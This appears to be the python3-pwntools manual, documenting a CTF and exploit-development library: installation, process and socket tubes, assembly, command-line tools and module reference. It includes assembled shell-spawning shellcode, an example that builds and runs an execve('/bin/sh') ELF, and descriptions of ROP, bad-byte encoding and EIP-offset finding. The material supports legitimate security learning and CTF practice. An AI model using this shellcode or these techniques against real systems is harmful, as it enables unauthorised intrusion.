
pwntools Documentation

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`python3-pwntools` is a CTF framework and exploit development library. Written in Python 3, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible.

Getting Started

1.1 About python3-pwntools

Whether you're using it to write exploits, or as part of another software project will dictate how you use it.

Historically pwntools was used as a sort of exploit-writing DSL. Simply doing `from pwn import *` in a previous version of pwntools would bring all sorts of nice side-effects.

When redesigning pwntools for 2.0, we noticed two contrary goals:

- We would like to have a “normal” python module structure, to allow other people to familiarize themselves with pwntools quickly.
- We would like to have even more side-effects, especially by putting the terminal in raw-mode.

To make this possible, we decided to have two different modules. `pwnlib` would be our nice, clean Python module, while `pwn` would be used during CTFs.

1.1.1 pwn — Toolbox optimized for CTFs

As stated, we would also like to have the ability to get a lot of these side-effects by default. That is the purpose of this module. It does the following:

- Imports everything from the toplevel `pwnlib` along with functions from a lot of submodules. This means that if you do `import pwn` or `from pwn import *`, you will have access to everything you need to write an exploit.
- Calls `pwnlib.term.init()` to put your terminal in raw mode and implements functionality to make it appear like it isn't.
- Setting the `pwnlib.context.log_level` to “*info*”.
- Tries to parse some of the values in `sys.argv` and every value it succeeds in parsing it removes.

1.1.2 pwnlib — Normal python library

This module is our “clean” python-code. As a rule, we do not think that importing `pwnlib` or any of the submodules should have any significant side-effects (besides e.g. caching).

For the most part, you will also only get the bits you import. You for instance not get access to `pwnlib.util.packing` simply by doing `import pwnlib.util`.

Though there are a few exceptions (such as *pwnlib.shellcraft*), that does not quite fit the goals of being simple and clean, but they can still be imported without implicit side-effects.

1.2 Installation

python3-pwntools is best supported on Ubuntu 12.04 and 14.04, but most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).

1.2.1 Prerequisites

In order to get the most out of `pwntools`, you should have the following system libraries installed.

Binutils

Assembly of foreign architectures (e.g. assembling Sparc shellcode on Mac OS X) requires cross-compiled versions of `binutils` to be installed. We've made this process as smooth as we can.

In these examples, replace `$ARCH` with your target architecture (e.g., `arm`, `mips64`, `vax`, etc.).

Building *binutils* from source takes about 60 seconds on a modern 8-core machine.

Ubuntu

First, add our [Personal Package Archive](#) repository.

```
$ apt-get install software-properties-common
$ apt-add-repository ppa:pwntools/binutils
$ apt-get update
```

Then, install the `binutils` for your architecture.

```
$ apt-get install binutils-$ARCH-linux-gnu
```

Mac OS X

Mac OS X is just as easy, but requires building `binutils` from source. However, we've made `homebrew` recipes to make this a single command. After installing `brew`, grab the appropriate recipe from our [binutils repo](#).

```
$ brew install https://raw.githubusercontent.com/binjitsu/binjitsu-binutils/master/osx/binutils-$ARCH
```

Alternate OSes

If you want to build everything by hand, or don't use any of the above OSes, `binutils` is simple to build by hand.

```
#!/usr/bin/env bash

V=2.25 # Binutils Version
ARCH=arm # Target architecture

cd /tmp
wget -nc https://ftp.gnu.org/gnu/binutils/binutils-$V.tar.gz
```

```
wget -nc https://ftp.gnu.org/gnu/binutils/binutils- $\$V$ .tar.gz.sig

gpg --keyserver keys.gnupg.net --recv-keys 4AE55E93
gpg --verify binutils- $\$V$ .tar.gz.sig

tar xf binutils- $\$V$ .tar.gz

mkdir binutils-build
cd binutils-build

export AR=ar
export AS=as

../binutils- $\$V$ /configure \
  --prefix=/usr/local \
  --target= $\$ARCH$ -unknown-linux-gnu \
  --disable-static \
  --disable-multilib \
  --disable-werror \
  --disable-nls

MAKE=gmake
hash gmake || MAKE=make

 $\$MAKE$  -j clean all
sudo  $\$MAKE$  install
```

Python Development Headers

Some of pwntools' Python dependencies require native extensions (for example, Paramiko requires PyCrypto). In order to build these native extensions, the development headers for Python must be installed.

Ubuntu

```
$ apt-get install python3-dev
```

Mac OS X

No action needed.

1.2.2 Released Version

pwntools is available as a pip package.

```
$ apt-get update
$ apt-get install python3 python3-dev python3-pip git
$ pip3 install --upgrade git+https://github.com/arthaud/python3-pwntools.git
```

1.2.3 Latest Version

Alternatively if you prefer to use the latest version from the repository:

```
$ git clone https://github.com/arthaud/python3-pwntools
$ cd python3-pwntools
$ pip3 install -e .
```

1.3 Getting Started

To get your feet wet with pwntools, let's first go through a few examples.

When writing exploits, pwntools generally follows the “kitchen sink” approach.

```
>>> from pwn import *
```

This imports a lot of functionality into the global namespace. You can now assemble, disassemble, pack, unpack, and many other things with a single function.

A full list of everything that is imported is available on `from pwn import *`.

1.3.1 Making Connections

You need to talk to the challenge binary in order to pwn it, right? pwntools makes this stupid simple with its `pwnlib.tubes` module.

This exposes a standard interface to talk to processes, sockets, serial ports, and all manner of things, along with some nifty helpers for common tasks. For example, remote connections via `pwnlib.tubes.remote`.

```
>>> conn = remote('ftp.debian.org', 21)
>>> conn.recvline()
b'220 ...'
>>> conn.send('USER anonymous\r\n')
>>> conn.recvuntil(' ', drop=True)
b'331'
>>> conn.recvline()
b'Please specify the password.\r\n'
>>> conn.close()
```

It's also easy to spin up a listener

```
>>> l = listen()
>>> r = remote('localhost', l.lport)
>>> c = l.wait_for_connection()
>>> r.send('hello')
>>> c.recv()
b'hello'
```

Interacting with processes is easy thanks to `pwnlib.tubes.process`.

```
>>> sh = process('/bin/sh')
>>> sh.sendline('sleep 3; echo hello world;')
>>> sh.recvline(timeout=1)
b''
>>> sh.recvline(timeout=5)
b'hello world\n'
>>> sh.close()
```

Not only can you interact with processes programmatically, but you can actually **interact** with processes.

```
>>> sh.interactive()
$ whoami
user
```

There's even an SSH module for when you've got to SSH into a box to perform a local/setuid exploit with `pwnlib.tubes.ssh`. You can quickly spawn processes and grab the output, or spawn a process and interact iwth it like a process tube.

```
>>> shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0')
>>> shell['whoami']
b'bandit0'
>>> shell.download_file('/etc/motd')
>>> sh = shell.run('sh')
>>> sh.sendline('sleep 3; echo hello world;')
>>> sh.recvline(timeout=1)
b''
>>> sh.recvline(timeout=5)
b'hello world\n'
>>> shell.close()
```

1.3.2 Packing Integers

A common task for exploit-writing is converting between integers as Python sees them, and their representation as a sequence of bytes. Usually folks resort to the built-in `struct` module.

pwntools makes this easier with `pwnlib.util.packing`. No more remembering unpacking codes, and littering your code with helper routines.

```
>>> import struct
>>> p32(0xdeadbeef) == struct.pack('I', 0xdeadbeef)
True
>>> leet = unhex('37130000')
>>> u32(b'abcd') == struct.unpack('I', b'abcd')[0]
True
```

The packing/unpacking operations are defined for many common bit-widths.

```
>>> u8(b'A') == 0x41
True
```

1.3.3 Setting the Target Architecture and OS

The target architecture can generally be specified as an argument to the routine that requires it.

```
>>> asm('nop')
b'\x90'
>>> asm('nop', arch='arm')
b'\x00\xf0\xe3'
```

However, it can also be set once in the global context. The operating system, word size, and endianness can also be set here.

```
>>> context.arch = 'i386'
>>> context.os = 'linux'
>>> context.endian = 'little'
>>> context.word_size = 32
```

Additionally, you can use a shorthand to set all of the values at once.

```
>>> asm('nop')
b'\x90'
>>> context(arch='arm', os='linux', endian='big', word_size=32)
>>> asm('nop')
b'\xe3 \xf0\x00'
```

1.3.4 Setting Logging Verbosity

You can control the verbosity of the standard pwntools logging via `context`.

For example, setting

```
>>> context.log_level = 'debug'
```

Will cause all of the data sent and received by a `tube` to be printed to the screen.

1.3.5 Assembly and Disassembly

Never again will you need to run some already-assembled pile of shellcode from the internet! The `pwnlib.asm` module is full of awesome.

```
>>> enhex(asm('mov eax, 0'))
'b800000000'
```

But if you do, it's easy to suss out!

```
>>> print(disasm(unhex('6a0258cd80ebf9')))
0: 6a 02          push  0x2
2: 58             pop   eax
3: cd 80         int   0x80
5: eb f9         jmp   0x0
```

However, you shouldn't even need to write your own shellcode most of the time! pwntools comes with the `pwnlib.shellcraft` module, which is loaded with useful time-saving shellcodes.

Let's say that we want to `setreuid(getuid(), getuid())` followed by `dup'ing file descriptor 4 to 'stdin, stdout, and stderr,` and then pop a shell!

```
>>> enhex(asm(shellcraft.setreuid() + shellcraft.dupsh(4)))
'6a3158cd8089c36a465889d9cd806a045b6a0359496a3f58cd8075f86a68682f2f2f73682f62696e6a0b5889e331c999cd80'
```

1.3.6 Misc Tools

Never write another hexdump, thanks to `pwnlib.util.fiddling`.

Find offsets in your buffer that cause a crash, thanks to `pwnlib.cyclic`.

```
>>> print(cyclic(20))
aaaabaaacaaadaaaeaaa
>>> # Assume EIP = 0x62616166 ('faab' which is pack(0x62616166)) at crash time
>>> print(cyclic_find('faab'))
120
```

1.3.7 ELF Manipulation

Stop hard-coding things! Look them up at runtime with `pwnlib.elf`.

```
>>> e = ELF('/bin/cat')
>>> print(hex(e.address))
0x400000
>>> print(hex(e.symbols['write']))
0x401680
>>> print(hex(e.got['write']))
0x60b070
>>> print(hex(e.plt['write']))
0x401680
```

You can even patch and save the files.

```
>>> e = ELF('/bin/cat')
>>> e.read(e.address+1, 3)
b'ELF'
>>> e.asm(e.address, 'ret')
>>> e.save('/tmp/quiet-cat')
>>> disasm(open('/tmp/quiet-cat', 'rb').read(1))
' 0: c3 ret'
```

1.4 from pwn import *

The most common way that you'll see pwntools used is

```
>>> from pwn import *
```

Which imports a bazillion things into the global namespace to make your life easier.

This is a quick list of most of the objects and routines imported, in rough order of importance and frequency of use.

- **context**

- `pwnlib.context.context`
- Responsible for most of the pwntools convenience settings
- Set `context.log_level = 'debug'` when troubleshooting your exploit
- Scope-aware, so you can disable logging for a subsection of code via `pwnlib.context.ContextType.local`

- **remote, listen, ssh, process**

- `pwnlib.tubes`
- Super convenient wrappers around all of the common functionality for CTF challenges
- Connect to anything, anywhere, and it works the way you want it to
- Helpers for common tasks like `recvline`, `recvuntil`, `clean`, etc.
- Interact directly with the application via `.interactive()`

- **p32 and u32**

- `pwnlib.util.packing`

- Useful functions to make sure you never have to remember if '>' means signed or unsigned for `struct.pack`, and no more ugly `[0]` index at the end.
- Set `signed` and `endian` in sane manners (also these can be set once on `context` and not bothered with again)
- Most common sizes are pre-defined (`u8`, `u64`, etc), and `pwnlib.util.packing.pack()` lets you define your own.
- **log**
 - `pwnlib.log`
 - Make your output pretty!
- **cyclic and cyclic_func**
 - `pwnlib.util.cyclic`
 - Utilities for generating strings such that you can find the offset of any given substring given only `N` (usually 4) bytes. This is super useful for straight buffer overflows. Instead of looking at `0x41414141`, you could know that `0x61616171` means you control EIP at offset 64 in your buffer.
- **asm and disasm**
 - `pwnlib.asm`
 - Quickly turn assembly into some bytes, or vice-versa, without mucking about
 - Supports any architecture for which you have a `binutils` installed
 - Over 20 different architectures have pre-built binaries at `ppa:binjitsu/binutils`.
- **shellcraft**
 - `pwnlib.shellcraft`
 - Library of shellcode ready to go
 - `asm(shellcraft.sh())` gives you a shell
 - Templating library for reusability of shellcode fragments
- **ELF**
 - `pwnlib.elf`
 - ELF binary manipulation tools, including symbol lookup, virtual memory to file offset helpers, and the ability to modify and save binaries back to disk
- **DynELF**
 - `pwnlib.dynelf`
 - Dynamically resolve functions given only a pointer to any loaded module, and a function which can leak data at any address
- **ROP**
 - `pwnlib.rop`
 - Automatically generate ROP chains using a DSL to describe what you want to do, rather than raw addresses
- **gdb.debug and gdb.attach**
 - `pwnlib.gdb`

- Launch a binary under GDB and pop up a new terminal to interact with it. Automates setting break-points and makes iteration on exploits MUCH faster.
- Alternately, attach to a running process given a PID, `pwnlib.tubes` object, or even just a socket that's connected to it
- **args**
 - Dictionary containing all-caps command-line arguments for quick access
 - Run via `python foo.py REMOTE=1` and `args['REMOTE'] == '1'`.
 - **Can also control logging verbosity and terminal fancyness**
 - * *NOTERM*
 - * *SILENT*
 - * *DEBUG*
- **randoms, rol, ror, xor, bits**
 - `pwnlib.util.fiddling`
 - Useful utilities for generating random data from a given alphabet, or simplifying math operations that usually require masking off with `0xffffffff` or calling `ord` and `chr` an ugly number of times
- **net**
 - `pwnlib.util.net`
 - Routines for querying about network interfaces
- **proc**
 - `pwnlib.util.proc`
 - Routines for querying about processes
- **pause**
 - It's the new `getch`
- **safeeval**
 - `pwnlib.util.safeeval`
 - Functions for safely evaluating python code without nasty side-effects.

These are all pretty self explanatory, but are useful to have in the global namespace.

- `hexdump`
- `read` and `write`
- `enhex` and `unhex`
- `more`
- `group`
- `align` and `align_down`
- `urlencode` and `urldecode`
- `which`
- `wget`

Additionally, all of the following modules are auto-imported for you. You were going to do it anyway.

- os
- sys
- time
- requests
- re
- random

1.5 Command Line Tools

pwntools comes with a handful of useful command-line utilities which serve as wrappers for some of the internal functionality.

1.5.1 asm

Assemble shellcode into bytes

```
usage: asm [-h] [-f {raw,hex,string,elf}] [-o file] [-c context] [-v AVOID]
          [-n] [-z] [-d] [-e ENCODER] [-i INFILE] [-r]
          [line [line ...]]
```

line

Lines to assemble. If none are supplied, use stdin

-h, --help

show this help message and exit

-f {raw,hex,string,elf}, --format {raw,hex,string,elf}

Output format (defaults to hex for ttys, otherwise raw)

-o <file>, --output <file>

Output file (defaults to stdout)

-c {16,32,64,android,cgc,freebsd,linux,windows,powerpc64,powerpc,aarch64,sparc64,msp430,mips64,mips,alpha,thumb,amd64,cris,mips,s390,i386,ia64,m68k,vax,avr,arm,little,big,le,be,el,eb}

The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: ['16', '32', '64', 'android', 'cgc', 'freebsd', 'linux', 'windows', 'powerpc64', 'powerpc', 'aarch64', 'sparc64', 'msp430', 'mips64', 'sparc', 'alpha', 'thumb', 'amd64', 'cris', 'mips', 's390', 'i386', 'ia64', 'm68k', 'vax', 'avr', 'arm', 'little', 'big', 'le', 'be', 'el', 'eb']

-v <avoid>, --avoid <avoid>

Encode the shellcode to avoid the listed bytes (provided as hex; default: 000a)

-n, --newline

Encode the shellcode to avoid newlines

-z, --zero

Encode the shellcode to avoid NULL bytes

-d, --debug

Debug the shellcode with GDB

-e <encoder>, --encoder <encoder>

Specific encoder to use

-i <infile>, --infile <infile>

Specify input file

-r, --run
Run output

1.5.2 checksec

Check binary security settings

```
usage: checksec [-h] elf [elf ...]
```

elf
Files to check

-h, --help
show this help message and exit

1.5.3 constgrep

Looking up constants from header files.

Example: `constgrep -c freebsd -m ^PROT_ '3 + 4'`

```
usage: constgrep [-h] [-e constant] [-i] [-m] [-c arch_or_os]
                [regex] [constant]
```

regex
The regex matching constant you want to find

constant
The constant to find

-h, --help
show this help message and exit

-e <constant>, --exact <constant>
Do an exact match for a constant instead of searching for a regex

-i, --case-insensitive
Search case insensitive

-m, --mask-mode
Instead of searching for a specific constant value, search for values not containing strictly less bits that the given value.

-c {16,32,64,android,cgc,freebsd,linux,windows,powerpc64,powerpc,aarch64,sparc64,msp430,mips64}
The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: ['16', '32', '64', 'android', 'cgc', 'freebsd', 'linux', 'windows', 'powerpc64', 'powerpc', 'aarch64', 'sparc64', 'msp430', 'mips64', 'sparc', 'alpha', 'thumb', 'amd64', 'cris', 'mips', 's390', 'i386', 'ia64', 'm68k', 'vax', 'avr', 'arm', 'little', 'big', 'le', 'be', 'el', 'eb']

1.5.4 cyclic

Cyclic pattern creator/finder

```
usage: cyclic [-h] [-a alphabet] [-n length] [-c context] [-l lookup_value]
                [count]
```

count

Number of characters to print

-h, --help

show this help message and exit

-a <alphabet>, --alphabet <alphabet>

The alphabet to use in the cyclic pattern (defaults to all lower case letters)

-n <length>, --length <length>

Size of the unique subsequences (defaults to 4).

-c {16, 32, 64, android, cgc, freebsd, linux, windows, powerpc64, powerpc, aarch64, sparc64, msp430, mips64, mips, alpha, thumb, amd64, cris, mips, s390, i386, ia64, m68k, vax, avr, arm, little, big, le, be, el, eb}

The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: ['16', '32', '64', 'android', 'cgc', 'freebsd', 'linux', 'windows', 'powerpc64', 'powerpc', 'aarch64', 'sparc64', 'msp430', 'mips64', 'sparc', 'alpha', 'thumb', 'amd64', 'cris', 'mips', 's390', 'i386', 'ia64', 'm68k', 'vax', 'avr', 'arm', 'little', 'big', 'le', 'be', 'el', 'eb']

-l <lookup_value>, -o <lookup_value>, --offset <lookup_value>, --lookup <lookup_value>

Do a lookup instead printing the alphabet

1.5.5 disasm

Disassemble bytes into text format

```
usage: disasm [-h] [-c arch_or_os] [-a address] [--color] [--no-color]
              [hex [hex ...]]
```

hex

Hex-string to disassemble. If none are supplied, then it uses stdin in non-hex mode.

-h, --help

show this help message and exit

-c {16, 32, 64, android, cgc, freebsd, linux, windows, powerpc64, powerpc, aarch64, sparc64, msp430, mips64, mips, alpha, thumb, amd64, cris, mips, s390, i386, ia64, m68k, vax, avr, arm, little, big, le, be, el, eb}

The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: ['16', '32', '64', 'android', 'cgc', 'freebsd', 'linux', 'windows', 'powerpc64', 'powerpc', 'aarch64', 'sparc64', 'msp430', 'mips64', 'sparc', 'alpha', 'thumb', 'amd64', 'cris', 'mips', 's390', 'i386', 'ia64', 'm68k', 'vax', 'avr', 'arm', 'little', 'big', 'le', 'be', 'el', 'eb']

-a <address>, --address <address>

Base address

--color

Color output

--no-color

Disable color output

1.5.6 elfdiff

```
usage: elfdiff [-h] a b
```

a

b

-h, --help

show this help message and exit

1.5.7 elfpatch

```
usage: elfpatch [-h] elf offset bytes
```

elf

File to patch

offset

Offset to patch in virtual address (hex encoded)

bytes

Bytes to patch (hex encoded)

-h, --help

show this help message and exit

1.5.8 hex

Hex-encodes data provided on the command line or via stdin.

```
usage: hex [-h] [data [data ...]]
```

data

Data to convert into hex

-h, --help

show this help message and exit

1.5.9 phd

Pwnlib HexDump

```
usage: phd [-h] [-w WIDTH] [-l [HIGHLIGHT [HIGHLIGHT ...]]] [-s SKIP]
          [-c COUNT] [-o OFFSET] [--color [{always,never,auto}]]
          [file]
```

file

File to hexdump. Reads from stdin if missing.

-h, --help

show this help message and exit

-w <width>, --width <width>

Number of bytes per line.

-l <highlight>, --highlight <highlight>

Byte to highlight.

-s <skip>, --skip <skip>

Skip this many initial bytes.

-c <count>, --count <count>

Only show this many bytes.

-o <offset>, --offset <offset>

Addresses in left hand column starts at this address.

--color {always,never,auto}

Colorize the output. When 'auto' output is colorized exactly when stdout is a TTY. Default is 'auto'.

1.5.10 shellcraft

Microwave shellcode – Easy, fast and delicious

```
usage: shellcraft [-h] [-?] [-o file] [-f format] [-d] [-b] [-a] [-v AVOID]
                [-n] [-z] [-r] [--color] [--no-color] [-l] [--syscalls]
                [--address ADDRESS]
                [shellcode] [arg [arg ...]]
```

shellcode

The shellcode you want

arg

Argument to the chosen shellcode

-h, --help

show this help message and exit

-?, --show

Show shellcode documentation

-o <file>, --out <file>

Output file (default: stdout)

-f {r,raw,s,str,string,c,h,hex,a,asm,assembly,p,i,hexii,e,elf,default}, --format {r,raw,s,...

Output format (default: hex), choose from {r}aw, {s}tring, {c}-style array, {h}ex string, hex{i}i, {a}ssembly code, {p}reprocessed code

-d, --debug

Debug the shellcode with GDB

-b, --before

Insert a debug trap before the code

-a, --after

Insert a debug trap after the code

-v <avoid>, --avoid <avoid>

Encode the shellcode to avoid the listed bytes

-n, --newline

Encode the shellcode to avoid newlines

-z, --zero

Encode the shellcode to avoid NULL bytes

-r, --run

Run output

--color

Color output

--no-color

Disable color output

-l, --list

List all available shellcodes

--syscalls

List syscalls

--address <address>

Load address

1.5.11 unhex

Decodes hex-encoded data provided on the command line or via stdin.

```
usage: unhex [-h] [hex [hex ...]]
```

hex

Hex bytes to decode

-h, --help

show this help message and exit

Module Index

Each of the `pwntools` modules is documented here.

2.1 `pwnlib.asm` — Assembler functions

Utilities for assembling and disassembling code.

2.1.1 Architecture Selection

Architecture, endianness, and word size are selected by using `pwnlib.context`.

Any parameters which can be specified to `context` can also be specified as keyword arguments to either `asm()` or `disasm()`.

2.1.2 Assembly

To assemble code, simply invoke `asm()` on the code to assemble.

```
>>> asm('mov eax, 0')
b'\xb8\x00\x00\x00\x00'
```

Additionally, you can use constants as defined in the `pwnlib.constants` module.

```
>>> asm('mov eax, SYS_execve')
b'\xb8\x0b\x00\x00\x00'
```

Finally, `asm()` is used to assemble shellcode provided by `pwntools` in the `shellcraft` module.

```
>>> asm(shellcraft.sh())
b'jh///sh/binj\x0bX\x89\xe31\xc9\x99\xcd\x80'
```

2.1.3 Disassembly

To disassemble code, simply invoke `disasm()` on the bytes to disassemble.

```
>>> disasm(b'\xb8\x0b\x00\x00\x00')
'  0:  b8 0b 00 00 00      mov    eax,0xb'
```

`pwntools.asm.asm` (*code*, *vma=0*, *extract=True*, ...) → bytes

Runs `cpp()` over a given shellcode and then assembles it into bytes.

To see which architectures or operating systems are supported, look in `pwntools.context`.

To support all these architecture, we bundle the GNU assembler and objcopy with pwntools.

Parameters

- **shellcode** (*str*) – Assembler code to assemble.
- **vma** (*int*) – Virtual memory address of the beginning of assembly
- **extract** (*bool*) – Extract the raw assembly bytes from the assembled file. If `False`, returns the path to an ELF file with the assembly embedded.

Kwargs: Any arguments/properties that can be set on `context`

Examples

```
>>> asm("mov eax, SYS_select", arch='i386', os='freebsd')
b'\xb8]\x00\x00\x00'
>>> asm("mov eax, SYS_select", arch='amd64', os='linux')
b'\xb8\x17\x00\x00\x00'
>>> asm("mov rax, SYS_select", arch='amd64', os='linux')
b'H\xc7\xc0\x17\x00\x00\x00'
>>> asm("ldr r0, =SYS_select", arch='arm', os='linux', bits=32)
b'R\x00\xa0\xe3'
```

`pwntools.asm.cpp` (*shellcode*, ...) → str

Runs CPP over the given shellcode.

The output will always contain exactly one newline at the end.

Parameters **shellcode** (*str*) – Shellcode to preprocess

Kwargs: Any arguments/properties that can be set on `context`

Examples

```
>>> cpp("mov al, SYS_setresuid", arch="i386", os="linux")
'mov al, 164\n'
>>> cpp("weee SYS_setresuid", arch="arm", os="linux")
'weee (0+164)\n'
>>> cpp("SYS_setresuid", arch="thumb", os="linux")
'(0+164)\n'
>>> cpp("SYS_setresuid", os="freebsd")
'311\n'
```

`pwntools.asm.disasm` (*data*, ...) → str

Disassembles a bytestring into human readable assembler.

To see which architectures are supported, look in `pwntools.context`.

To support all these architecture, we bundle the GNU objcopy and objdump with pwntools.

Parameters

- **data** (*bytes*) – Bytestring to disassemble.

- **vma** (*int*) – Passed through to the `-adjust-vma` argument of `objdump`
- **byte** (*bool*) – Include the hex-printed bytes in the disassembly
- **offset** (*bool*) – Include the virtual memory address in the disassembly

Kwargs: Any arguments/properties that can be set on `context`

Examples

```
>>> print(disasm(unhex('b85d000000'), arch='i386'))
0:  b8 5d 00 00 00      mov    eax,0x5d
>>> print(disasm(unhex('b85d000000'), arch='i386', byte=0))
0:  mov    eax,0x5d
>>> print(disasm(unhex('b85d000000'), arch='i386', byte=0, offset=0))
mov    eax,0x5d
>>> print(disasm(unhex('b817000000'), arch='amd64'))
0:  b8 17 00 00 00      mov    eax,0x17
>>> print(disasm(unhex('48c7c017000000'), arch='amd64'))
0:  48 c7 c0 17 00 00 00  mov    rax,0x17
>>> print(disasm(unhex('04001fe552009000'), arch='arm'))
0:  e51f0004      ldr    r0, [pc, #-4] ; 0x4
4:  00900052      addseq r0, r0, r2, asr r0
>>> print(disasm(unhex('4ff00500'), arch='thumb', bits=32))
0:  f04f 0005      mov.w  r0, #5
```

`pwnlib.asm.make_elf` (*data*, *vma=None*, *strip=True*, *extract=True*)
Builds an ELF file with the specified binary data as its executable code.

Parameters

- **data** (*bytes*) – Assembled code
- **vma** (*int*) – Load address for the ELF file

Examples

This example creates an i386 ELF that just does `execve('/bin/sh',...)`.

```
>>> context.clear()
>>> context.arch = 'i386'
>>> context.bits = 32
>>> filename = tempfile.mktemp()
>>> bin_sh = unhex('6a68682f2f2f73682f62696e89e331c96a0b5899cd80')
>>> data = make_elf(bin_sh)
>>> with open(filename, 'wb+') as f:
...     _ = f.write(data)
...     f.flush()
>>> os.chmod(filename, 0o777)
>>> p = process(filename)
>>> p.sendline('echo Hello; exit')
>>> p.recvline()
b'Hello\n'
```

`pwnlib.asm.make_elf_from_assembly` (*assembly*, *vma=268435456*, *extract=False*)
Builds an ELF file with the specified assembly as its executable code.

Parameters

- **assembly** (*str*) – Assembly
- **vma** (*int*) – Load address of the binary
- **extract** (*bool*) – Whether to return the data extracted from the file created, or the path to it.

Returns The path to the assembled ELF (extract=False), or the data of the assembled ELF.

2.2 `pwnlib.atexception` — Callbacks on unhandled exception

Analogous to `atexit`, this module allows the programmer to register functions to be run if an unhandled exception occurs.

`pwnlib.atexception.register` (*func*, **args*, ***kwargs*)

Registers a function to be called when an unhandled exception occurs. The function will be called with positional arguments *args* and keyword arguments *kwargs*, i.e. `func(*args, **kwargs)`. The current *context* is recorded and will be the one used when the handler is run.

E.g. to suppress logging output from an exception-handler one could write:

```
with context.local(log_level = 'error'):
    atexception.register(handler)
```

An identifier is returned which can be used to unregister the exception-handler.

This function can be used as a decorator:

```
@atexception.register
def handler():
    ...
```

Notice however that this will bind `handler` to the identifier and not the actual exception-handler. The exception-handler can then be unregistered with:

```
atexception.unregister(handler)
```

This function is thread safe.

`pwnlib.atexception.unregister` (*func*)

Remove *func* from the collection of registered functions. If *func* isn't registered this is a no-op.

2.3 `pwnlib.atexit` — Replacement for `atexit`

Replacement for the Python standard library's `atexit.py`.

Whereas the standard `atexit` module only defines `atexit.register()`, this replacement module also defines `unregister()`.

This module also fixes a the issue that exceptions raised by an exit handler is printed twice when the standard `atexit` is used.

`pwnlib.atexit.register` (*func*, **args*, ***kwargs*)

Registers a function to be called on program termination. The function will be called with positional arguments *args* and keyword arguments *kwargs*, i.e. `func(*args, **kwargs)`. The current *context* is recorded and will be the one used when the handler is run.

E.g. to suppress logging output from an exit-handler one could write:

```
with context.local(log_level = 'error'):
    atexit.register(handler)
```

An identifier is returned which can be used to unregister the exit-handler.

This function can be used as a decorator:

```
@atexit.register
def handler():
    ...
```

Notice however that this will bind `handler` to the identifier and not the actual exit-handler. The exit-handler can then be unregistered with:

```
atexit.unregister(handler)
```

This function is thread safe.

`pwntools.atexit.unregister(ident)`

Remove the exit-handler identified by *ident* from the list of registered handlers. If *ident* isn't registered this is a no-op.

2.4 pwntools.constants — Easy access to header file constants

Module containing constants extracted from header files.

The purpose of this module is to provide quick access to constants from different architectures and operating systems.

The constants are wrapped by a convenience class that allows accessing the name of the constant, while performing all normal mathematical operations on it.

Example

```
>>> str(constants.freebsd.SYS_stat)
'SYS_stat'
>>> int(constants.freebsd.SYS_stat)
188
>>> hex(constants.freebsd.SYS_stat)
'0xbc'
>>> 0 | constants.linux.i386.SYS_stat
106
>>> 0 + constants.linux.amd64.SYS_stat
4
```

The submodule `freebsd` contains all constants for FreeBSD, while the constants for Linux have been split up by architecture.

The variables of the submodules will be “lifted up” by setting the `pwntools.context.arch` or `pwntools.context.os` in a manner similar to what happens in `pwntools.shellcraft`.

Example

```
>>> with context.local(os='freebsd'):
...     print(int(constants.SYS_stat))
188
```

```

>>> with context.local(os='linux', arch='i386'):
...     print(int(constants.SYS_stat))
106
>>> with context.local(os='linux', arch='amd64'):
...     print(int(constants.SYS_stat))
4

```

2.5 pwnlib.context — Setting runtime variables

`pwnlib.context.context = ContextType()`

Global context object, used to store commonly-used pwntools settings. In most cases, the context is used to infer default variables values. For example, `pwnlib.asm.asm()` can take an `os` parameter as a keyword argument. If it is not supplied, the `os` specified by `context` is used instead. Consider it a shorthand to passing `os=` and `arch=` to every single function call.

class `pwnlib.context.ContextType` (**kwargs)

Class for specifying information about the target machine. Intended for use as a pseudo-singleton through the global variable `pwnlib.context.context`, available via `from pwn import * as context`.

The context is usually specified at the top of the Python file for clarity.

```

#!/usr/bin/env python3
context.update(arch='i386', os='linux')

```

Currently supported properties and their defaults are listed below. The defaults are inherited from `pwnlib.context.ContextType.defaults`.

Additionally, the context is thread-aware when using `pwnlib.context.Thread` instead of `threading.Thread` (all internal pwntools threads use the former).

The context is also scope-aware by using the `with` keyword.

Examples

```

>>> context.clear()
>>> context.update(os='linux')
>>> context.os == 'linux'
True
>>> context.arch = 'arm'
>>> vars(context) == {'arch': 'arm', 'bits': 32, 'endian': 'little', 'os': 'linux'}
True
>>> context.endian
'little'
>>> context.bits
32
>>> def nop():
...     print(enhex(pwnlib.asm.asm('nop')))
>>> nop()
00f020e3
>>> with context.local(arch = 'i386'):
...     nop()
90
>>> from pwnlib.context import Thread as PwnThread
>>> from threading import Thread as NormalThread
>>> with context.local(arch = 'mips'):

```

```

...     pwnthread = PwnThread(target=nop)
...     thread = NormalThread(target=nop)
>>> # Normal thread uses the default value for arch, 'i386'
>>> _ = (thread.start(), thread.join())
90
>>> # Pwnthread uses the correct context from creation-time
>>> _ = (pwnthread.start(), pwnthread.join())
00000000
>>> nop()
00f020e3

```

class Thread (*args, **kwargs)

Instantiates a context-aware thread, which inherit its context when it is instantiated. The class can be accessed both on the context module as `pwnlib.context.Thread` and on the context singleton object inside the context module as `pwnlib.context.context.Thread`.

Threads created by using the native `:class`threading`.Thread`` will have a clean (default) context.

Regardless of the mechanism used to create any thread, the context is de-coupled from the parent thread, so changes do not cascade to child or parent.

Saves a copy of the context when instantiated (at `__init__`) and updates the new thread's context before passing control to the user code via `run` or `target=`.

Examples

```

>>> context.clear()
>>> context.update(arch='arm')
>>> def p():
...     print(context.arch)
...     context.arch = 'mips'
...     print(context.arch)
>>> # Note that a normal Thread starts with a clean context
>>> # (i386 is the default architecture)
>>> t = threading.Thread(target=p)
>>> _ = (t.start(), t.join())
i386
mips
>>> # Note that the main Thread's context is unchanged
>>> print(context.arch)
arm
>>> # Note that a context-aware Thread receives a copy of the context
>>> t = pwnlib.context.Thread(target=p)
>>> _ = (t.start(), t.join())
arm
mips
>>> # Again, the main thread is unchanged
>>> print(context.arch)
arm

```

Implementation Details:

This class implemented by hooking the private function `threading.Thread._Thread_bootstrap()`, which is called before passing control to `threading.Thread.run()`.

